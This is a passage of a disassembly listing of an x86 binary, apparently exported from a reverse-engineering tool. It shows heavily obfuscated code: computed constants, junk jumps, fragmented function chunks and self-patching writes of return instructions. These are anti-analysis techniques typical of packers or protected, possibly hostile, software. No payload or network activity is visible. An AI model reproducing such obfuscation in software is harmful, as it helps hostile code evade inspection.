		mov	eax, [ebp+var_4]
		mov	al, [eax]
		jo	loc_751454
		sub	al, 99h
		mov	edx, [ebp+var_4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jmp	loc_753E40
; END OF FUNCTION CHUNK	FOR sub_756826
; ---------------------------------------------------------------------------


loc_7466DD:				; CODE XREF: _0z4jwtox:0074E222j
		mov	ds:off_41F118, eax
		lea	eax, sub_75676B
		mov	byte ptr [eax],	0C3h
		jmp	sub_75676B
; ---------------------------------------------------------------------------
		call	sub_75644F
; START	OF FUNCTION CHUNK FOR sub_748E68


loc_7466F6:				; CODE XREF: sub_748E68+Ej
		jmp	sub_74F69D
; END OF FUNCTION CHUNK	FOR sub_748E68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CBCF


loc_7466FB:				; CODE XREF: sub_74CBCF+48B6j
		jl	loc_745172
; END OF FUNCTION CHUNK	FOR sub_74CBCF
; START	OF FUNCTION CHUNK FOR sub_74D1F3


loc_746701:				; CODE XREF: sub_74D1F3+631Cj
		jmp	sub_746CF0
; END OF FUNCTION CHUNK	FOR sub_74D1F3
; ---------------------------------------------------------------------------
		dw 0C633h
		dd 0E026E981h, 800F6107h, 0EDACh, 0B9618A0Fh, 53E90000h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D1F3


loc_74671F:				; CODE XREF: sub_74D1F3+8EA7j
		xchg	esi, [esp-4+arg_0]
		push	0
		lea	eax, [ebp-100h]
		push	ebp
		mov	ebp, edi
		xchg	ebp, [esp+4+var_4]
		jmp	loc_756775
; END OF FUNCTION CHUNK	FOR sub_74D1F3
; ---------------------------------------------------------------------------
		adc	ebx, edx
		mov	[edi], eax
		jmp	sub_74B719

; =============== S U B	R O U T	I N E =======================================



sub_74673E	proc near		; CODE XREF: _0z4jwtox:00750115j
					; sub_7510E4+59B9p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0074532A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0074604F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00746363 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00746A5D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00746AB4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00747579 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 007475AD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074825D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00748EB3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 007499F5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00749A86 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00749CBC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074B91B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0074BDD8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0074C8CD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0074CD65 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0074D1EB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0074D683 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0074DF44 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00750069 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00750710 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00750730 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00750A77 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00752033 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00753452 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00753BBF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0075480B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007553D2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 007560DE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00756609 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00756AE1 SIZE 00000010 BYTES

		xchg	edi, [esp-4+arg_0]
		pop	edi
		jnz	loc_74674E
		mov	eax, [ebp-4]
		mov	[ebp-8], eax


loc_74674E:				; CODE XREF: sub_74673E+4j
		call	sub_74C2BE
		mov	[ebp-0Ah], al


loc_746756:				; CODE XREF: sub_754C3F:loc_751326j
		jno	loc_74532A
		jmp	loc_753BBF
sub_74673E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_746761:				; CODE XREF: _0z4jwtox:00748849j
		jb	loc_7544D3
		sub	ebx, ecx
		cmp	ebx, 311C63Eh
		jmp	loc_7520A9
; ---------------------------------------------------------------------------
		push	7784AF9Dh
		pop	eax
		add	eax, 0E9F7A2Fh
		xor	eax, 0BCDDD68h
		cmp	eax, 25E82B56h
		jmp	loc_7534A7
; ---------------------------------------------------------------------------


loc_746791:				; CODE XREF: _0z4jwtox:0074DD2Cj
		xor	esi, eax
		shr	eax, 2
; START	OF FUNCTION CHUNK FOR sub_755C38


loc_746796:				; CODE XREF: sub_755C38:loc_74DD1Bj
		sub	edx, 0C42F61CFh
		push	offset sub_750202
		jmp	nullsub_223
; END OF FUNCTION CHUNK	FOR sub_755C38
; ---------------------------------------------------------------------------


loc_7467A6:				; CODE XREF: _0z4jwtox:loc_745EB0j
		push	0A19034B7h
		pop	eax
		or	eax, 3884DC44h
		rol	eax, 8
		add	eax, 6CD0D0B5h
		rol	eax, 10h
		add	eax, 495BA0F8h
		push	eax


loc_7467C5:				; CODE XREF: _0z4jwtox:loc_74BAC8j
		jmp	loc_748D17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75364C


loc_7467CA:				; CODE XREF: sub_75364C-3825j
		add	edi, 749A8F55h
		or	edi, 0A7D125D8h
		call	sub_7566FC


loc_7467DB:				; CODE XREF: sub_750D35+18j
		jmp	loc_7452CE
; END OF FUNCTION CHUNK	FOR sub_75364C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75299B


loc_7467E0:				; CODE XREF: sub_75299B-A1A3j
		jmp	loc_747EF9
; END OF FUNCTION CHUNK	FOR sub_75299B
; ---------------------------------------------------------------------------
		mov	eax, 934299CDh
		push	offset sub_753DFA
		jmp	locret_745B15

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_7467F4	proc near		; CODE XREF: _0z4jwtox:0074879Cj
					; _0z4jwtox:0074E397p ...
		retn
sub_7467F4	endp

; ---------------------------------------------------------------------------
		add	al, 24h
		mov	edx, eax
		pop	eax
		jns	loc_7487A1
		mov	eax, [esp]
		push	edx
		call	sub_747892
		push	0D14C30B4h
		jmp	loc_756075
; ---------------------------------------------------------------------------


loc_746813:				; CODE XREF: _0z4jwtox:00754F23j
		jl	loc_74BAA4
		mov	[eax], esi
		jmp	loc_749032
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74894B


loc_746820:				; CODE XREF: sub_74894B:loc_7552E1j
		jge	loc_745EF6
		xor	eax, ebp
		push	0DAFD9AA7h
		shr	esi, 9
		ror	ebp, 7
		jmp	loc_745EF6
; END OF FUNCTION CHUNK	FOR sub_74894B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_746838:				; CODE XREF: sub_747AEC+8E3j
		or	esi, 0D2209826h
		jmp	loc_74A622
; END OF FUNCTION CHUNK	FOR sub_747AEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752D11


loc_746843:				; CODE XREF: sub_752D11:loc_748923j
		xor	ebx, 470A910Bh
		rol	ebx, 1Ch
		and	ebx, 0AD080D3Fh
		xor	ebx, 0AE76EC39h
		jnz	loc_74B0C0


loc_74685E:				; CODE XREF: sub_757799-32F6j
		jmp	loc_746B63
; END OF FUNCTION CHUNK	FOR sub_752D11
; ---------------------------------------------------------------------------
		pop	ecx
		jmp	loc_750B3E

; =============== S U B	R O U T	I N E =======================================



sub_746869	proc near		; CODE XREF: _0z4jwtox:00751FFBp
					; _0z4jwtox:00754106j

; FUNCTION CHUNK AT 0074B694 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074B704 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074C697 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 007532EC SIZE 0000000D BYTES

		xchg	eax, [esp+0]
		pop	eax
		add	esi, 6A51E5C9h
		mov	esi, [esi]
		cmp	eax, esi
		pop	esi
		jnb	loc_749C84


loc_74687E:				; CODE XREF: _0z4jwtox:loc_74EA06j
		jmp	loc_74B694
sub_746869	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		call	sub_7561F2
; START	OF FUNCTION CHUNK FOR sub_745C34


loc_746888:				; CODE XREF: sub_745C34:loc_749A08j
		or	edx, 999C8F78h
		xor	edx, 54EFD638h
; END OF FUNCTION CHUNK	FOR sub_745C34
; START	OF FUNCTION CHUNK FOR sub_749B76


loc_746894:				; CODE XREF: sub_749B76+12j
		add	edx, 52F0875Ch
		mov	[edx], eax
		jmp	loc_750FD3
; END OF FUNCTION CHUNK	FOR sub_749B76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748A22


loc_7468A1:				; CODE XREF: sub_748A22+E1ECj
		mov	[ebp-14h], eax
		mov	eax, [ebp-14h]
		mov	eax, [eax+18h]
		dec	eax
		test	eax, eax
		jl	loc_74D586
		inc	eax
		mov	[ebp-24h], eax
		jmp	loc_756C44
; END OF FUNCTION CHUNK	FOR sub_748A22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749BBA


loc_7468BC:				; CODE XREF: sub_749BBA-2489j
					; sub_749BBA:loc_74BD7Ej
		mov	eax, [ebp-4]
		push	offset loc_74A2F9
		jmp	loc_7533CC
; END OF FUNCTION CHUNK	FOR sub_749BBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74564F


loc_7468C9:				; CODE XREF: sub_74564F+6j
		nop
; END OF FUNCTION CHUNK	FOR sub_74564F
; START	OF FUNCTION CHUNK FOR sub_7490F6


loc_7468CA:				; CODE XREF: sub_7490F6:loc_747582j
		mov	eax, 2867838Ah
		push	ecx
		push	0BCF5CEFAh
		pop	ecx
		jmp	loc_7477B6
; END OF FUNCTION CHUNK	FOR sub_7490F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747379


loc_7468DB:				; CODE XREF: sub_747379+Aj
		jnz	loc_74A596
		mov	eax, [ebp-4]
		inc	eax
		mov	eax, [eax]
		add	eax, [ebp-4]
; END OF FUNCTION CHUNK	FOR sub_747379
; START	OF FUNCTION CHUNK FOR sub_7497F9


loc_7468EA:				; CODE XREF: sub_7497F9+Aj
		add	eax, 5
		jmp	loc_75496A
; END OF FUNCTION CHUNK	FOR sub_7497F9

; =============== S U B	R O U T	I N E =======================================



sub_7468F2	proc near		; CODE XREF: sub_753D0E-E1ECp
					; _0z4jwtox:00757049j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0074965F SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0074A3EB SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0074C281 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00753C55 SIZE 00000018 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		xchg	esi, [esp-4+arg_0]
		push	ebp
		pop	ecx
		xchg	ecx, [esp-4+arg_0]
		call	sub_7476BB


loc_746903:				; CODE XREF: sub_75121F-5621j
		jmp	loc_753C55
sub_7468F2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_746908:				; CODE XREF: _0z4jwtox:0074A4E9j
		jmp	loc_74D586
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747736


loc_74690D:				; CODE XREF: sub_747736:loc_74D4AAj
		push	edx
		call	sub_755C10
		push	781D6C94h
		xchg	esi, [esp+0]
		mov	eax, esi
		pop	esi
		sub	eax, 0C1981D06h
		jmp	loc_74D0BC
; END OF FUNCTION CHUNK	FOR sub_747736
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754DFF


loc_746929:				; CODE XREF: sub_754DFF-F6F5j
		sub	eax, 8550B4E6h
		cmp	eax, 7CDA34A3h
		jmp	loc_74EB28
; END OF FUNCTION CHUNK	FOR sub_754DFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7572F3


loc_74693A:				; CODE XREF: sub_7572F3-2BFAj
		test	ebx, 408EAE01h
		jmp	loc_754911
; END OF FUNCTION CHUNK	FOR sub_7572F3
; ---------------------------------------------------------------------------


loc_746945:				; DATA XREF: sub_74B1F1:loc_748A52o
		push	0E54D6DB8h
		xchg	ecx, [esp]
		mov	eax, ecx
		pop	ecx
		rol	eax, 4
		jnb	loc_74C0DC
; START	OF FUNCTION CHUNK FOR sub_7470E8


loc_746959:				; CODE XREF: sub_7470E8-10Cj
					; sub_747C22:loc_7494ADj
		jmp	sub_74A96E
; END OF FUNCTION CHUNK	FOR sub_7470E8
; ---------------------------------------------------------------------------
		shr	eax, 4
		sbb	eax, edx
		jmp	loc_74EDB7
; ---------------------------------------------------------------------------

locret_746968:				; CODE XREF: _0z4jwtox:loc_74B208j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745A78


loc_746969:				; CODE XREF: sub_745A78+EFAEj
					; DATA XREF: .data:off_42D710o
		jz	loc_752192
		jmp	loc_748ECD
; END OF FUNCTION CHUNK	FOR sub_745A78
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_109. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75043C


loc_746975:				; CODE XREF: sub_75043C:loc_757573j
		jmp	nullsub_249
; END OF FUNCTION CHUNK	FOR sub_75043C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747A94


loc_74697A:				; CODE XREF: sub_747A94+82BDj
		jmp	loc_745886
; END OF FUNCTION CHUNK	FOR sub_747A94
; ---------------------------------------------------------------------------


loc_74697F:				; DATA XREF: sub_7502BA+5o
		jno	loc_755E8B
		mov	eax, [esp]
		push	edx
		push	edx
		jmp	loc_74F576

; =============== S U B	R O U T	I N E =======================================



sub_74698F	proc near		; CODE XREF: sub_750638-A216p
					; _0z4jwtox:0074A040j

; FUNCTION CHUNK AT 00745DD3 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00745FAD SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00746249 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074ACD7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0074DE09 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074FE50 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00752A0A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00754378 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00754ACC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00754B4F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007565FC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00756E43 SIZE 00000006 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	2010h
		push	0
		jmp	loc_74FE50
sub_74698F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754A3D


loc_74699F:				; CODE XREF: sub_754A3D:loc_74B639j
		push	ecx
		mov	[ebp+var_4], eax
		call	sub_74C670
		ror	esi, 5
		jmp	sub_74658B
; END OF FUNCTION CHUNK	FOR sub_754A3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C874


loc_7469B0:				; CODE XREF: sub_74C874:loc_74F277j
		call	sub_746E93
		push	offset sub_75712E
		jmp	nullsub_68
; END OF FUNCTION CHUNK	FOR sub_74C874

; =============== S U B	R O U T	I N E =======================================



sub_7469BF	proc near		; CODE XREF: _0z4jwtox:0074904Aj
					; _0z4jwtox:007573F7p
		xchg	edi, [esp+0]
		pop	edi
		xor	eax, ebx
		call	sub_749B95
sub_7469BF	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_745183


loc_7469CA:				; CODE XREF: sub_745183+12j
		jmp	loc_75664B
; END OF FUNCTION CHUNK	FOR sub_745183
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_7469CF:				; CODE XREF: sub_747C22:loc_752D9Fj
		jnz	loc_74FCF3
		jmp	loc_74A7DD
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75364C


loc_7469DA:				; CODE XREF: sub_75364C:loc_749408j
		jnz	loc_753401
		jmp	loc_754B77
; END OF FUNCTION CHUNK	FOR sub_75364C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BA92


loc_7469E5:				; CODE XREF: sub_74BA92:loc_74CEA3j
					; sub_74BA92+141Fj
		xor	eax, 462C421Dh
		or	eax, 0DECA7E30h
		xor	eax, 0D7C0A3CFh
		add	eax, ebp
		jmp	loc_749A2F
; END OF FUNCTION CHUNK	FOR sub_74BA92
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_7469FE:				; CODE XREF: sub_747C22+5C7Ej
		add	eax, 0C6DCBAD2h
		mov	eax, [eax]
		test	dword ptr [eax], 0FFFF0000h
		jnz	loc_746FF7
		jmp	loc_749DEC
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CBE6


loc_746A17:				; CODE XREF: sub_74CBE6:loc_748EC3j
		push	offset aYyh9ru	; "YYh9ru"
		jmp	nullsub_55
; END OF FUNCTION CHUNK	FOR sub_74CBE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BF3A


loc_746A21:				; CODE XREF: sub_74BF3A:loc_74B4D7j
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	esp, ebp
		call	sub_752E09


loc_746A2E:				; CODE XREF: sub_7561AB-AE51j
		jmp	loc_748A3A
; END OF FUNCTION CHUNK	FOR sub_74BF3A

; =============== S U B	R O U T	I N E =======================================



sub_746A33	proc near		; CODE XREF: _0z4jwtox:00749EBEj
					; sub_74673E+51E5p
		xchg	ecx, [esp+0]
		pop	ecx
		pop	ebp
		retn
sub_746A33	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750638


loc_746A39:				; CODE XREF: sub_750638+5577j
		jmp	loc_749396
; END OF FUNCTION CHUNK	FOR sub_750638
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748E1D


loc_746A3E:				; CODE XREF: sub_748E1D+Aj
		jmp	loc_7576FA
; END OF FUNCTION CHUNK	FOR sub_748E1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746128


loc_746A43:				; CODE XREF: sub_74673E-140Ej
					; sub_746128+4j
		mov	eax, [ebp-4]
		mov	al, [eax]
		mov	[ebp-9], al
		mov	al, [ebp-0Ah]
		jmp	loc_74F434
; END OF FUNCTION CHUNK	FOR sub_746128
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750D29


loc_746A53:				; CODE XREF: sub_750D29+7j
		call	sub_745FE5


loc_746A58:				; CODE XREF: _0z4jwtox:00756756j
		jmp	loc_747847
; END OF FUNCTION CHUNK	FOR sub_750D29
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74673E


loc_746A5D:				; CODE XREF: sub_74673E+A348j
		jmp	sub_74C2C9
; END OF FUNCTION CHUNK	FOR sub_74673E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BE45


loc_746A62:				; CODE XREF: sub_74BE45+6j
		jmp	loc_74F01F
; END OF FUNCTION CHUNK	FOR sub_74BE45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75275A


loc_746A67:				; CODE XREF: sub_75275A:loc_74E20Fj
		jnz	loc_74CE30
		jmp	loc_745285
; END OF FUNCTION CHUNK	FOR sub_75275A
; ---------------------------------------------------------------------------
		mov	eax, 0A7A44D83h
		push	ecx
		push	466D4BD3h
		pop	ecx
		xor	ecx, 0E302A1A0h
		rol	ecx, 1Ah
		xor	ecx, 0CF04D0A3h
		jmp	loc_7566C3
; ---------------------------------------------------------------------------


loc_746A92:				; DATA XREF: sub_74763A+12o
		call	sub_75740D
		push	0A650DB20h
		pop	eax
		add	eax, 4C557D99h
		sub	eax, 3B7FE971h
		test	eax, 100h
		jmp	loc_74D01C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74673E


loc_746AB4:				; CODE XREF: sub_74B928+Bj
		and	ecx, 462C1BA3h
		sub	ecx, 5AD13341h
		jb	loc_74604F


loc_746AC6:				; CODE XREF: _0z4jwtox:0074D161j
		jmp	loc_74BDD8
; END OF FUNCTION CHUNK	FOR sub_74673E
; ---------------------------------------------------------------------------


loc_746ACB:				; CODE XREF: _0z4jwtox:0074749Fj
		jmp	nullsub_273
; ---------------------------------------------------------------------------
		popf
		jmp	loc_746049
; ---------------------------------------------------------------------------


loc_746AD6:				; CODE XREF: _0z4jwtox:loc_754ED4j
		and	esi, 217103E0h
		add	esi, 6B0C3D13h
		rol	esi, 10h
		add	esi, 0C0413F37h
		xchg	esi, [esp]
		jmp	sub_746CF0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_746AF3:				; CODE XREF: sub_74A71A:loc_7458FBj
					; sub_74FE55:loc_7490B4j ...
		mov	eax, [ebp-20h]
		call	sub_74A71A


loc_746AFB:				; CODE XREF: _0z4jwtox:00748049j
		pop	eax
		jo	loc_752B99
		mov	eax, [esp+0]
		push	edx
		push	offset sub_748871
		jmp	loc_748533
; END OF FUNCTION CHUNK	FOR sub_74FE55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B1F1


loc_746B10:				; CODE XREF: sub_74B1F1:loc_754269j
		sub	al, 99h
		mov	edx, [ebp+var_4]
		imul	byte ptr [edx]


loc_746B17:				; CODE XREF: sub_7543C5:loc_756418j
		cmp	al, 0A4h
		jz	loc_745C4D
		jmp	loc_7525B8
; END OF FUNCTION CHUNK	FOR sub_74B1F1
; ---------------------------------------------------------------------------


loc_746B24:				; CODE XREF: _0z4jwtox:00753F0Aj
		jnp	loc_751181
		jg	sub_7567B4
		not	eax
		jmp	loc_74FA6A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_46. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_746B38:				; CODE XREF: _0z4jwtox:0075433Bj
		jmp	loc_75573E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C39


loc_746B3D:				; CODE XREF: sub_747C39+12j
		jmp	loc_7546FE
; END OF FUNCTION CHUNK	FOR sub_747C39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752737


loc_746B42:				; CODE XREF: sub_752737-307Bj
		jp	loc_753F72
		push	0E769D881h


loc_746B4D:				; CODE XREF: sub_752737:loc_74A1D2j
		mov	eax, [ebp-4]
		call	sub_7567B4


loc_746B55:				; CODE XREF: _0z4jwtox:0074B159j
		rol	edx, 9
		test	edx, 8000000h
		jmp	loc_74869C
; END OF FUNCTION CHUNK	FOR sub_752737
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752D11


loc_746B63:				; CODE XREF: sub_752D11:loc_74685Ej
		test	esi, ebx
		jmp	loc_750CC2
; END OF FUNCTION CHUNK	FOR sub_752D11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746F33


loc_746B6A:				; CODE XREF: sub_746F33+3CCFj
		xchg	edi, [esp+0]
		mov	edx, edi
		pop	edi
		xor	eax, eax


loc_746B72:				; CODE XREF: _0z4jwtox:0074D77Dj
		mov	[ebp-28h], eax
		jmp	loc_75635C
; END OF FUNCTION CHUNK	FOR sub_746F33
; ---------------------------------------------------------------------------


loc_746B7A:				; CODE XREF: _0z4jwtox:007572E8j
		or	esi, edx

; =============== S U B	R O U T	I N E =======================================



sub_746B7C	proc near		; CODE XREF: sub_749B76+353Cp

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 007499B8 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0074D62C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00756916 SIZE 00000014 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		call	sub_74F226
		mov	[ebp-8], eax
		call	sub_74870B


loc_746B8D:				; CODE XREF: sub_74DE1F-341Fj
		jmp	loc_7499B8
sub_746B7C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_746B92:				; CODE XREF: _0z4jwtox:00747E6Fj
		jmp	loc_7465B7
; ---------------------------------------------------------------------------


loc_746B97:				; CODE XREF: _0z4jwtox:loc_749C6Fj
		pop	eax
		rol	eax, 17h
		or	eax, 0BDA6C4DCh
		rol	eax, 1Ah
		jmp	loc_75040A
; ---------------------------------------------------------------------------
		and	ecx, eax
		jmp	sub_74780A

; =============== S U B	R O U T	I N E =======================================



sub_746BB0	proc near		; CODE XREF: _0z4jwtox:0074A9D3j
					; sub_755179:loc_74B634p
		xchg	ecx, [esp+0]
		pop	ecx
		call	sub_746BBA

locret_746BB9:				; CODE XREF: sub_755179-9B4Bj
		retn
sub_746BB0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_746BBA	proc near		; CODE XREF: sub_746BB0+4p
		push	ebx
		push	ecx
		call	sub_754729
		push	offset loc_752378
		jmp	nullsub_28
sub_746BBA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752EB8


loc_746BCB:				; CODE XREF: sub_752EB8+1B43j
		pop	edx
		lea	eax, nullsub_186
		mov	byte ptr [eax],	0C3h
		jmp	loc_746E5B
; END OF FUNCTION CHUNK	FOR sub_752EB8
; ---------------------------------------------------------------------------
		pop	edx
		jmp	loc_74CC19

; =============== S U B	R O U T	I N E =======================================



sub_746BE0	proc near		; CODE XREF: _0z4jwtox:0074A340p
					; _0z4jwtox:0074DAF7j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00750362 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	edx
		pop	edi
		xchg	edi, [esp-4+arg_0]
		push	offset loc_749ED5
		jmp	loc_750362
sub_746BE0	endp

; ---------------------------------------------------------------------------
		cmp	ebx, 5717DC2Bh
		jmp	loc_74F3C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7557E7


loc_746BFE:				; CODE XREF: sub_7557E7:loc_74F9A8j
		jge	loc_74F052
		jp	loc_74F5A7
		xor	edx, 2B872074h
		adc	ecx, 330D3CEFh
		jmp	loc_74F052
; END OF FUNCTION CHUNK	FOR sub_7557E7
; ---------------------------------------------------------------------------


loc_746C1B:				; CODE XREF: _0z4jwtox:0074CC45j
		or	ebp, eax
; START	OF FUNCTION CHUNK FOR sub_749980


loc_746C1D:				; CODE XREF: sub_749980-F1Dj
					; sub_749BBA+Dj ...
		jmp	loc_74E77F
; END OF FUNCTION CHUNK	FOR sub_749980
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E84B


loc_746C22:				; CODE XREF: _0z4jwtox:0074A2FCj
					; sub_74E84B+6445j
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_74E84B

; =============== S U B	R O U T	I N E =======================================



sub_746C25	proc near		; CODE XREF: sub_74B1F1-515Fp
					; _0z4jwtox:00754E56p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0074D8D7 SIZE 00000005 BYTES

		push	ebx
		mov	ebx, eax
		xchg	ebx, [esp+4+var_4]
		jmp	loc_74D8D7
sub_746C25	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7544F1


loc_746C30:				; CODE XREF: sub_7544F1:loc_75632Dj
					; sub_7544F1+21F0j
		push	0C1519F23h
		pop	eax
		sub	eax, 0D20FDC54h
		and	eax, 9E92B6FCh
		jmp	loc_74D5BE
; END OF FUNCTION CHUNK	FOR sub_7544F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7508F9


loc_746C47:				; CODE XREF: sub_7508F9:loc_748EAEj
		mov	eax, [ebp-8]
		shl	eax, 0Ah
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		shr	eax, 6
		xor	[ebp-8], eax
		jmp	loc_7451C6
; END OF FUNCTION CHUNK	FOR sub_7508F9

; =============== S U B	R O U T	I N E =======================================



sub_746C5E	proc near		; CODE XREF: sub_409833+Dp
					; sub_414D55+Dp
					; DATA XREF: ...

; FUNCTION CHUNK AT 00749F1B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074ABD3 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0074C770 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0074DBCB SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0074F39A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00754E7F SIZE 00000018 BYTES
; FUNCTION CHUNK AT 007555C2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00755AAF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00757470 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00757601 SIZE 00000027 BYTES

		jz	loc_74C770
		mov	eax, ds:dword_748C94
		push	offset loc_749F31
